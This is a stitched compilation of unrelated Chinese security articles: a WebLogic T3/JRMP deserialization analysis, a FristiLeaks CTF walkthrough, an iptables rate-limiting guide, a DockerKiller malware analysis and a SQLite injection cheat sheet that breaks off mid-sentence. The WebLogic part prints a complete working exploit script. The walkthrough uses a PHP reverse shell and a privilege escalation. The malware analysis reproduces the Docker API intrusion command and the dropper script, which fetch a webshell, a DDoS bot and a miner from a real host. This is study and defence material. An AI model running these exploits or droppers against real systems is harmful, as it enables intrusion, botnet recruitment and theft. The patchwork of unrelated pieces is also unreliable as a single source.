这里利用`makePayloadObject`获得对应的反序列化类，
然后通过`forName`找到对应类:
到这里就已经准备好了对应`payload`
最后走到`c.Run`进行愉快地监听，等着进一步的输入：
如果存在输入，这里会读取我们的输入，并生成一个`socket`，最后来到`doMessage`函数,这里输入是哪里来的呢？是我们通过`ysoserial.payloads.JRMPClient`进行执行反序列化漏洞时，被攻击者请求的：
这里会设置好需要发送的`Message`信息，如目标Ip和端口，交互时的输入和输出数据以及之前准备好的`payload`。
在`doCall`处对输出内容进行了刷新，即在`doCall`时就将反序列化的脏数据，发送给被攻击者。
细心的同学会发现，这里发送给`JRMPClient`端的是一个异常：
#### 整合两步操作的RCE
既然我们发送给`JRMPClient`端的是一个异常，那么`JRMPClient`中的
这里依然会走`UnicastRef.invoke(var5)->var5.executeCall()`的老路子，直接看到最后:
由此通过异常处理的分支触发了反序列化漏洞。
### 总结一下
首先我们需要简单了解一下`JRMP`的作用，这里用一张网图来代替
实际上`JRMP`类似于`RMI`之间通信所使用的协议，它比一般情况下使用的`rmi://[ip]:[port]/[name]`更底层一点。
然后我们来回顾一下这个漏洞利用的过程:
1. 已知靶机存在T3反序列化 ~~(类似于RMI的反序列化)~~
2. 攻击者在`VPS`建立`JRMP`服务器。
3. 攻击者构造T3协议恶意反序列化数据，执行`JRMPClient`反序列化漏洞
4. 靶机由于反序列化漏洞，自身作为`JRMPClient`去请求远程的`JRMP`服务器，即攻击者的`VPS`
5. 攻击者的`VPS`返回异常信息，被攻击者处理异常。
6. 处理异常处存在反序列化操作，造成反序列化RCE。
## 0x05 一点疑惑
梳理清楚整体过程之后，菜鸡我产生了一个疑惑，如果`weblogic-T3`能够直接进行反序列化，为什么不直接在`T3反序列化`时构造，空想不如试试，这次直接生成`CC1`链的反序列化数据，进行`exp`：
将`exp`中的调用命令部分注释掉，只留下读取的部分，然后其他多余的部分统统注释掉，修改后的`exp.py`如下:
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload():
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload()
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
dip = sys.argv[1]
dport = int(sys.argv[2])
exploit(dip, dport)
不使用JRMP：
我们发现这个时候`exp`仍然执行成功了。那么问题来了，既然`T3`协议可以直接反序列化RCE，那么又出于什么原因需要使用`JRMP`迂回呢？
在询问大佬之后，发现有以下几个原因:
1. JRMP反序列化的Payload更短，防止请求包数据过大，直接造成返回状态码413(Request Entity Too Large)，无法执行反序列化，这个例子挺常见的，比如测试`shiro`反序列化漏洞时，就有可能因为`Payload`过长，无法正常反序列化。
使用JRMP：
2. 如果靶机出网可以像`URLDNS`一样，用作快速检测，`JRMP`通过上述分析，是利用报错进行反序列化的，既然报错那就存在回显的情况
3. 可以绕过一些反序列化的黑名单，因为使用`JRMP`的链条时，只会反序列化`JRMP`相关的组件，不会加载常见恶意类,可以将其理解成为二次URL编码绕过一样，只不过这里变成了`二次反序列化`
参考链接：
[ysoserial JRMP相关模块分析（二）- payloads/JRMPClient &
exploit/JRMPListener](https://xz.aliyun.com/t/2650)
[Java 中
RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿（上）](https://paper.seebug.org/1091/#weblogic-rmi)
[CVE-2018-2628
WebLogic反序列化漏洞分析](http://blog.topsec.com.cn/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
[weblogic t3
协议利用与防御](https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f) | 社区文章 |
## VulnHub – FristiLeaks v1.3
### 环境下载
<https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova.torrent>
<https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova>
### 运行环境
* Virtualbox （二选一)
* Vnware Workstation player
### 通关提示
* fristi
### 设置
首先，我们在开始之前，我们按照作者的要求设置虚拟机的MAC地址 08:00:27:A5:A6:76
然后开启VM
### 主机发现
> Netdiscover –r 10.10.10.0/24
可以发现目标主机在10.10.10.132的位置
### 服务发现
> nmap -sS -Pn -T4 -p- 10.10.10.132
可以看到打开了80端口，service为HTTP
### 枚举80端口
既然只有一个端口，那就扫描再具体扫描80端口：
> nmap -A -O -p80 10.10.10.132
我们看到以下具体信息：
Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
http-robots.txt: 3 disallowed entries
现在我们浏览web服务
现在我们需要验证robots.txt是否存在，在很多情况下，nmap是很准确的。
现在，如果根据条目能顺利进入系统，那就太容易了，肯定不会那么容易的。
意料之中，上面三个条目都只能进入这个画面
所以这三个已经没有什么用了，我们现在来跑一下目录；
> dirb <http://10.10.10.132>
没什么特别的发现，只有几张照片；
不过这个keep-calm 似乎是一个提示，因为他说
KEEP CALM AND DRINK FRISTI
试试<http://10.10.10.132/fristi/>
很好，真的有一个登录口！但是这个登录界面有一个很差的设定，两个输入框都有自动完成的功能。（包括密码）
我们再次运行 目录枚举：
> dirb <http://10.10.10.132/fristi/>
发现了index页面 不过...
好像是个死胡同。
不过永远不要只事物看到表面，我们一定要看看代码！
看到一有一条信息，这是一个叫eezeepz的人留下来的。
那么那就有这种可能：他也许用eezeepz当做他的用户名或者密码。
再向下看。我们看到了一大块用base64编码的段落
这里我使用nano 使它变成单行，方便命令行编码
> base64 -d /tmp/encoded.txt
这是一个PNG格式的图画，保存为PNG
> base64 -d /tmp/encoded.txt > decoded.png
然后可以用任意工具查看，这里用feh
看起来像是个密码！赶紧试试
username:eezeepz
password:keKkeKKeKKeKkEkkEk
这时候 不用多说 上传sell
Sell 可以在这里下载
<http://pentestmonkey.net/tools/web-shells/php-reverse-shell>
cp /usr/share/webshells/php/php-reverse-shell.php reverse-shell.php
vi reverse-shell.php
做一些必要的修改，ip地址和监听端口。
现在设置 netcat 监听 建立连接：
> nc -nlvp 8888
看来只有png, jpg, gif 能上传
修改一下后缀加上.jpg
上传成功！
现在打开上传的sell
现在已经得到了一个低端权限
权限提升
看一下目录，看看有什么可以挖掘的东西，个人对HOME比较感兴趣，进去试试
居然马上看到关键人物eezeepz！
继续向前看
文件很多 挑特别的看，notes.txt比较显眼，打开试试。
我们得到了提示，照着做就行了！
在/tmp下创建一个＂runtis＂文件
### 赋予权限
现在我们可以阅读 /home/admin 下的内容了
有几个文件。依次看一下
cryptpass.py
Cryptepass.txt
whoisyourgodnow.txt
看样子应该是用了py文件去加密的。
我们重写一下文件：
解密试试
分别得到
1.mVGZ3O3omkJLmy2pcuTq ：thisisalsopw123
2.=RFn0AKnlMHMPIzpyuTI0ITG ：LetThereBeFristi!
这有可能是用户fristgod 的密码
我们换一下用户试试！
失败了....
查了一下网上是这样解释的：
跟 su 命令的实现有关； B环境上su的实现应该是判断标准输入是不是tty ； 而A环境上su的实现则允许从其他文件读取密码。
方法如下：
> Python -c 'import pty;pty.spawn("/bin/sh")'
接下来就可以正常使用了。
现在我们已经成功进入fristigod账户
Ls试试：
没有东西...
-la试试
原来都藏起来了。。
到.secret_admin_stuff看看
继续 ls -la 查看具体信息
发现这个是个root的文件
权限应该是不够的
我们能回去看看history有没有一些线索
可以看到 “fristigod”用户一直sudo来执行命令
试试 `sudo -l`
让输入密码，上面我们得到了两个密码
呃。。。
再试试
成功了...居然是一个密码....好吧。
现在我们能用id 那么应该也可以创建一个sell
> sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
成功了。直接去看/root下的文件
得到flag
结束，感谢Ar0xA | 社区文章 |
## author：ISHM
開始是為了針對SSH連線都會有人使用字典攻擊來猜帳號及密碼，在sshd_config設定檔中的MaxAuthTries，只能限制每次連線時帳號密碼的重試測數，超過前數就會中斷連線，但是無法限制連線的次數。
所以如果設定MaxAuthTries=3，那每次連線時可以允許三次的密碼輸入錯誤，錯誤三次後就會中斷連線，但是可以再次連線進來再猜三次，所以還是擋不掉SSH字典攻擊。
可以利用iptables的最近的模组来限制单位时间连线数，也可在/ etc / sysconfig / iptables档案中直接编写：
-A INPUT -p tcp --dport 22 -m recent --rcheck --seconds 600 hitcount 5 --name SSH_LOG --rsource -j DROP
-A INPUT -p tcp --dport 22 -m recent --set --name SSH_LOG --rsource
-A INPUT -p tcp --dport 22 -j ACCEPT
如果没有DROP掉而建连连线，则将连线的时间值记录在SSH_LOG档案中（位置依CentOS版本的不同在/ proc / net / xt_recent
/或/ proc / net / ipt_recent /里）接下来就套用第3条规则ACCEPT接受连线。
其中
-m recent是套用recnet模组功能
\--set是指将符合设定条件的来源IP新增或更新于近期清单内
\--name指定最近清单的名称（如SSH_LOG），依CentOS版本的不同，会存在/ proc / net / xt_recent /或/ proc /
net / ipt_recent /里
\--rsource是指将「来源」IP的每个封包新增或更新于近期的清单内（ --rdest的则是--rdest记录“目的地”IP的封包）
\--rcheck检查--rcheck检查近期资料表内是否有符合的IP封包记录（
--update则是不了检查还会更新封包的时间戳记时间戳，--remove则将符合的IP从清单中移除）
\--seconds xxx须与--rcheck或--update配合使用，查询在清单中指定秒数内的封包
\--hitcount xxx须与--rcheck或--update配合使用，如果在清单中的封包数大于或等于指定的数量，则触发规则
同理，
可以运用iptables这个最近的模组来限制其他服务的同一来源单位时间连线数：
＃限制同一IP每秒平的次数
-A INPUT -p icmp --icmp-type any -m recent --rcheck --seconds 1 --hitcount 1 --name PING_LOG --rsource -j DROP
-A INPUT -p icmp --icmp-type any -m recent --set --name PING_LOG --rsource
-A INPUT -p icmp --icmp-type any -j ACCEPT
＃限制DNS同一IP的每秒查询次数
-A INPUT -p udp --dport 53 -m recent --rcheck --seconds 1 --hitcount 10 --name NAMED_LOG --rsource -j DROP
-A INPUT -p udp --dport 53 -m recent --set --name NAMED_LOG --rsource
-A INPUT -p udp --dport 53 -j ACCEPT
＃限制网页服务同一IP的每秒会话连线数，可让拒绝服务攻击的影响降到最低
-A INPUT -p tcp --dport 80 -m recent --rcheck --seconds 1 --hitcount 5 --name HTTP_LOG --rsource -j DROP
-A INPUT -p tcp --dport 80 -m recent --set --name HTTP_LOG --rsource
-A INPUT -p tcp --dport 80 -j ACCEPT
＃POP3也常常会受到字典攻击
-A INPUT -p tcp --dport 110 -m recent --rcheck --seconds 600 --hitcount 5 --name POP3_LOG --rsource -j DROP
-A INPUT -p tcp --dport 110 -m recent --set --name POP3_LOG --rsource
-A INPUT -p tcp --dport 110 -j ACCEPT
在/ proc / net / xt_recent或/ proc / net / ipt_recent里的清单，其记录内容为：
src=41.203.18.183 ttl: 39 last_seen: 2264301821 oldest_pkt: 1 2264301821
src=114.42.196.217 ttl: 117 last_seen: 2264303237 oldest_pkt: 5 2264303214, 2264303214, 2264303215, 2264303216, 2264303237
src=173.184.240.144 ttl: 109 last_seen: 2264303673 oldest_pkt: 1 2264303673
src=209.172.128.8 ttl: 42 last_seen: 2264301974 oldest_pkt: 2 2264301783, 2264301974
其中src是來源IP，ttl是封包留存時間，last_seen是最近一個封包的時間戳記，oldest_pkt是記錄中所有連線封包的時間戳記。
這個時間戳記不是UNIX
timestamp，而是jiffies時間，它記錄了自開機以來經過了幾個jiffy，一個jiffy是Linux系統時鐘(system
timer)一個tick的時間，也就是所謂的時鐘中斷(interrupt)，在Linux核心2.6.13之後的版本，intel x86
平台上，每個jiffy的預設長度是4ms(或1/250秒)，在不同的平台上，jiffy時間長度也大約都落在 1ms ~ 10ms 之間。
它預設共可記錄100個IP，每個IP可記錄20個oldest_pkt封包，要修改它的數量的話：
先停止iptales服務：
#service iptables stop
移除ipt_recent的kernel module：
#rmmod ipt_recent
新增設定檔修改IP來源數
#vi /etc/modprobe.d/ipt_recent.conf
在ipt_recent.conf設定檔中輸入設定值：
options ipt_recent ip_list_tot=500
options ipt_recent ip_pkt_list_tot=50
其中 ip_list_tot 是記錄的IP數量，ip_pkt_list_tot則是每個IP記錄的封包數量
再將ipt_recent的module加入kernel中：
#modprobe ipt_recent
可到 /sys/modules/ipt_recent/parameters/ 中看各個參數的值：
#cat /sys/modules/ipt_recent/parameters/ip_list_tot
或
#cat /sys/modules/ipt_recent/parameters/ip_pkt_list_tot | 社区文章 |
# 前言
随着微服务的热度不断上升，越来越多的企业选择容器来部署自己的应用。而Docker作为实现微服务首选容器，在大规模部署的同时其安全性却没有引起足够的重视。
近期阿里云安全团队发现首个针对Docker批量攻击与利用实例，攻击者对Docker攻击后利用IRC后门、webshell多种手段实现持久化，在主机上执行挖矿、DDoS等恶意行为。随着攻防对抗成本的逐步增加，未来此类攻击利用行为可能会越来越直接，其利用套现方式也会变得多重。建议企业加强对其边缘应用的管理，防范因不当配置而导致的威胁风险。
Docker是一个开源的应用容器引擎，允许开发者将其应用和依赖包打包到一个可移植的容器中，并发布到任何流行的Linux机器上，以实现虚拟化。由于有非常好的移植性，Docker被广泛应用到简化配置、快速部署、多租户环境中，并逐步使用到生产环境中，且广泛部署到云上。
然而，Docker给互联网开发者带来便利的同时，其安全事件或配置却没有像主机端或其他应用得到该有的重视。正如我们所熟知的Redis因配置不当可以导致未授权访问，被攻击者恶意利用，例如著名的蠕虫DDG通过Redis未授权访问漏洞进行传播，且感染量巨大、影响深远。而Docker的Remote
API因配置不当也可以未经授权进行访问，与Redis类似攻击者无需认证即可访问到Docker数据，漏洞可能导致铭感信息泄露、修改、服务器受控等。
近期阿里云安全团队发现首个针对Docker批量攻击与利用实例。被入侵主机上发现了名为bashd、xm、p.php等文件，其分别用于DDos攻击、挖矿、webshell后门维持。由于这批样本专门针对Docker进行攻击、利用，因此我们将这批样本命名为DockerKiller。目前，该样本还未大批量传播，但是一旦爆发，很可能导致Docker被大规模入侵及利用，使企业用户资产遭受重大损失。目前阿里云云盾已经可以防御此类攻击，阿里云安全团队也会持续跟进DockerKiller最新情况，
本文将从扫描、入侵、利用等多个方面，还原DockerKiller整个过程，为大家解密一起专门针对Docker攻击、利用的安全事件。
# 解密DockerKiller
阿里云安全通过相关线索发现DockerKiller下载服务器，其存放着Linux
Shell脚本、二进制文件、php文件以及一些配置文件，其创建时间都为2018年7月17日。
经过分析以上文件为:扫描脚本、入侵脚本、DDoS木马、挖矿程序、WebShell等，通过以上几个部分的相互协作，构成了DockerKiller从扫描到入侵、利用、维持等一系列流程。
其完整的攻击路线图如下：
以下，我们将从入侵、利用、后门维持等方面进行详细分析：
# 脚本分析(扫描与批量入侵)
从p.txt文件中我们可以发现，在2018年7月16日，作者用Masscan对本地局域网的172所属的5个网段进行了扫描，疑似在测试扫描脚本。
test.sh为发起入侵的脚本，脚本从dockerips.txt中读取通过Masscan扫描得到的开放了2375端口的Docker容器的IP，之后通过命令对读取的IP进行入侵，具体可见从服务器159.203.21.239拉取脚本auto.sh并执行。
其关键代码如下，该脚本通过Docker未授权访问漏洞进行入侵，成功进入被入侵的主机后，即从远程的下载服务器上下载执行脚本auto.sh，之后便执行该脚本，然后进行删除
Docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget http://159.203.21.239/p/auto.sh" -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.sh
成功入侵到Docker内之后，将会执行auto.sh，脚本会对老版本文件进行清理，之后从下载服务器中拉取包括webshell、挖矿程序、后门程序、任务文件、挖矿配置文件等众多文件到本地，然后一一执行。
功能执行顺序为:
1. 清理相关文件: 删除老版本挖矿、DDoS木马、服务及其配置文件
2. 下载相关文件: 下载webshell后门、DDoS木马、挖矿程序并执行
3. 开启相关服务: 开启挖矿、DDoS木马服务
相关脚本如下：
#!/bin/sh
rm bashd.1;
rm xm.1;
rm data.cfg.1;
rm bashd.service.1;
rm xm.service.1;
wget http://159.203.21.239/p/p.php -O privacy.php | sed 's/\r//g';
cp privacy.php /var/www/html/privacy.php;
cp privacy.php /var/www/privacy.php;
rm privacy.php;
chmod -R 777 /var/www;
wget http://159.203.21.239/p/bashd -O bashd | sed 's/\r//g';
wget http://159.203.21.239/p/xm -O xm | sed 's/\r//g';
wget http://159.203.21.239/p/data.cfg -O data.cfg | sed 's/\r//g';
wget http://159.203.21.239/p/bashd.service -O bashd.service | sed 's/\r//g';
wget http://159.203.21.239/p/xm.service -O xm.service | sed 's/\r//g';
sleep 2s;
chmod 777 bashd;
chmod 777 xm;
sleep 2s;
mv "bashd.service" "/etc/systemd/system/bashd.service";
mv "xm.service" "/etc/systemd/system/xm.service";
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl stop xm.service;
systemctl enable bashd.service;
systemctl start bashd.service;
systemctl enable xm.service;
systemctl start xm.service;
# 样本分析
## DDoS木马
样本bashd改写至kaiten.c，一个基于IRC通信协议的DDoS客户端。大小为42KB，编译的版本为X86-64，编译时间为2018年7月17日11点35分。
程序进入主程序后，先从irc.dal.net、irc.efnet.org、us.quakenet.org三个备选服务器中随机挑选一个进行连接，然后通过内置的频道'#kotchat'和密码'kingofthehill'进行上线
三个服务器地址如下：
建立连接后，便等待服务器下发的指令，其支持的命令如下包括发起ACK洪水攻击、SYN洪水攻击、发送UDP包、网络数据抓包等
其具体支持指令和功能如下：
程序通过调用以上函数执行相关指令，例如，以下是该样本发送SYN FLOOD的攻击代码：
以下是该样本发送ACK FLOOD的攻击代码：
该样本进入主机之后便直接运行，并通过IRC通信协议连接服务器端，之后便一直等待服务器端下发的指令，主机一旦遭受入侵之后，便沦为肉鸡，作为DDoS客户端发动DDoS攻击。
## 挖矿程序
挖矿程序xm是基于开源xmrig挖矿工具修改的，大小为1.9M，编译的版本为X86-64，编译时间为2018年7月17日11点35分，可以发现其支持的命令如下:
在分析的过程中并未发现其他钱包地址，其服务器中的配置文件data.cfg并不能下载，而该文件应该存储的是钱包地址，依据文件创建时间和阿里云发现该类入侵的时间点，我们怀疑DockerKiller还处于测试阶段，并未大规模批量化的进行利用。
## webshell后门
p.php是由php编写的，作者对其做了混淆，其原始文件如下：
进行解码之后得到如下文件：
最终得到一个功能完善的大马，其功能包括基本信息的显示、命令执行、文件上传、爆破等诸多功能：
auto.sh运行之后，会将下载服务器上的p.php下拉到被入侵的主机上，通过cp指令将文件privacy.php拷贝到服务器主目录/var/www/html和/var/www，这样一旦Docker上部署了重要的网站服务，便可以作为后门维持，进行后续一系列包括文件窃取、命令执行、破坏等恶意行为。
# 安全建议
1. 修改Docker Remote API服务默认参数（需重启服务）
（1）定位到DOCKER_OPTS中的tcp://0.0.0.0.2375,将0.0.0.0修改为127.0.0.1
（2）或将默认端口2375改为自定义端口
1. 为RemoteAPI设置认证措施（需重启服务）
2. 修改Docker服务运行账号（需重启服务）
请以较低权限账号运行Docker账号，这样可以限制攻击者执行高危命令
1. 设置防火墙策略
如果正常业务中 API 服务需要被其他服务器来访问，可以配置安全组策略或 iptables 策略，仅允许指定的 IP 来访问 Docker 接口。
1. 使用阿里巴巴云盾检测及防护
云盾态势感知支持该漏洞的检测和防护，您可以到云盾控制台开通并使用
# 总结
DockerKiller利用Docker未授权访问漏洞进行挖矿、DDoS攻击、WebShell后门维持等行为。虽然在对样本进行溯源分析的过程中，我们没有发现相关的钱包地址信息，且由于该样本近期才开始活跃，我们有理由怀疑DockerKiller还在测试阶段，暂时没有大批量的传播，但是类似Redis未授权访问漏洞被利用等安全事件，可以推断后续该类攻击可能大规模爆发。
在此提醒广大互联网用户，Docker作为微服务容器，已经被越来越多企业大规模的部署，一旦配置不当，很容易导致大规模的入侵，企业应该自查Docker相关配置，增强对边缘应用的安全意识，切实保护自身资产安全。
IOC:
IRC域名:
irc.dal.net
irc.efnet.org
us.quakenet.org
连接频道: #kotchat 密码: kingofthehill
# 参考链接
<https://help.aliyun.com/knowledge_detail/37517.html>
<https://dl.packetstormsecurity.net/irc/kaiten.c> | 社区文章 |
# CTF中的SQLite总结Cheat Sheet
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
几次比赛都遇到了 SQLite 注入的题目，所以想来具体总结一下 SQLite 到底有哪些利用点，并整理出一张 Cheat
Sheet。行文如有不当，还请师傅们在评论区留言捉虫，不甚感激。
## 0x02 初识
### 简介
SQLite 是一个嵌入式 SQL 数据库引擎。与大多数其他 SQL 数据库不同，SQLite 没有独立的服务器进程。SQLite
直接读写普通磁盘文件。一个包含多个表、索引、触发器和视图的完整 SQL
数据库包含在一个磁盘文件中，但也因为轻型，所以不可避免的有一些安全隐患，比如数据库下载，有固定/默认数据库名/地址的问题，可下载造成安全威胁。
### 数据库判别
拿到一个环境首先做的应该是后端数据库的判别。
以下列出的是可供判别后端数据库的函数，在同一行并不意味着功能相同：
MYSQL | SQLite
---|---
@[@version](https://github.com/version "@version") / version() |
sqlite_version()
connection_id() | last_insert_rowid()
last_insert_id() | strftime(‘%s’,’now’);
row_count() | .
crc32(‘MySQL’) | .
BINARY_CHECKSUM(123) | .
## 0x03 题解
接下来通过两道题来理解 SQLite 的一些特性，方便我们后面总结 Cheat Sheet：
### phpNantokaAdmin
路由 index、create、insert、delete ，功能对应显示、创建表、插入数据、删表。
先看有关 flag 的信息：
$pdo->query('CREATE TABLE `' . FLAG_TABLE . '` (`' . FLAG_COLUMN . '` TEXT);');
$pdo->query('INSERT INTO `' . FLAG_TABLE . '` VALUES ("' . FLAG . '");');
$pdo->query($sql);
这是源码中创建完用户自定义的表后，使用 config.php 中定义好了的 `FLAG_TABLE` 、`FLAG_COLUMN`、`FLAG`
三个常量创建表，作为我们的 `target` 。
$stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . FLAG_TABLE . "' LIMIT 1;");
当然，它不会就这么简单地显示在 index 页面中。
我们要做的就是通过自定义表利用可控变量达到注出 `FLAG_TABLE` 数据的目的。
index.php
$table_name = (string) $_POST['table_name'];
$columns = $_POST['columns'];
//sqlite 创建表语句 sqlite3 database_name.db
$filename = bin2hex(random_bytes(16)) . '.db';
$pdo = new PDO('sqlite:db/' . $filename);
if (!is_valid($table_name)) {
flash('Table name contains dangerous characters.');
}
if (strlen($table_name) < 4 || 32 < strlen($table_name)) {
flash('Table name must be 4-32 characters.');
}
if (count($columns) <= 0 || 10 < count($columns)) {
flash('Number of columns is up to 10.');
}
$sql = "CREATE TABLE {$table_name} (";
$sql .= "dummy1 TEXT, dummy2 TEXT";
for ($i = 0; $i < count($columns); $i++) {
$column = (string) ($columns[$i]['name'] ?? '');
$type = (string) ($columns[$i]['type'] ?? '');
if (!is_valid($column) || !is_valid($type)) {
flash('Column name or type contains dangerous characters.');
}
if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
flash('Column name and type must be 1-32 characters.');
}
$sql .= ', ';
$sql .= "`$column` $type";
}
$sql .= ');';
表名和列名、列属性都是我们可控的，SQL 语句拼接如下：
CREATE TABLE {$table_name} (dummy1 TEXT, dummy2 TEXT, `$column` $type);
utils.php waf
function is_valid($string) {
$banword = [
// comment out, calling function...
"[\"#'()*,\\/\\\\`-]"
];
$regexp = '/' . implode('|', $banword) . '/i';
//正则表达式：/["#'()*,\/\\`-]/i
if (preg_match($regexp, $string)) {
return false;
}
return true;
要想绕过，首先介绍 SQLite 的几个特性：
> [SQLite Keywords](https://www.sqlite.org/lang_keywords.html)
>
> SQLite 中使用关键字作为名称，有四种引用方法：
>
>
>
> 括在方括号中的关键字是标识符。这不是标准的 SQL。MS access 和 SQL server 使用这种引用机制，SQLite
> 中包含这种引用机制是为了兼容。
>
>
>
> 既然正则中所有引号都有匹配，我们可以使用 `[]` 括关键字进行绕过，并可用它来 **注释** ，代替 `--` 。
>
> MYSQL 中有 information_schema 这样的系统表方便注入查询，而 SQLite 有无？
>
> [sqlite_master](https://www.sqlite.org/schematab.html)
>
> 每个 SQLite 数据库都包含一个“模式表”
> ，用于存储该数据库的模式。数据库的模式是对数据库中包含的所有其他表、索引、触发器和视图的描述。模式表如下所示：
>
>
>
> 其中 sql 字段的含义：
>
> Sqlite _ schema.SQL 列存储描述对象的 SQL 文本。此 SQL 文本是 CREATE TABLE、 CREATE VIRTUAL
> TABLE、 CREATE INDEX、 CREATE VIEW 或 CREATE TRIGGER
> 语句，如果在数据库文件为数据库连接的主数据库时对其进行计算，则将重新创建该对象。 **文本通常是用于创建对象的原始语句的副本。**
>
> 换而言之，我们可以通过查询 sqlite_master 中的 sql 知晓 `FLAG_TABLE` 创建时的语句，获取到其表名和列名。
>
> 综上，我们所要利用的有两张表，这就需要能操作两张表的，与 create table 有关的用法。
>
> [CREATE TABLE … AS SELECT
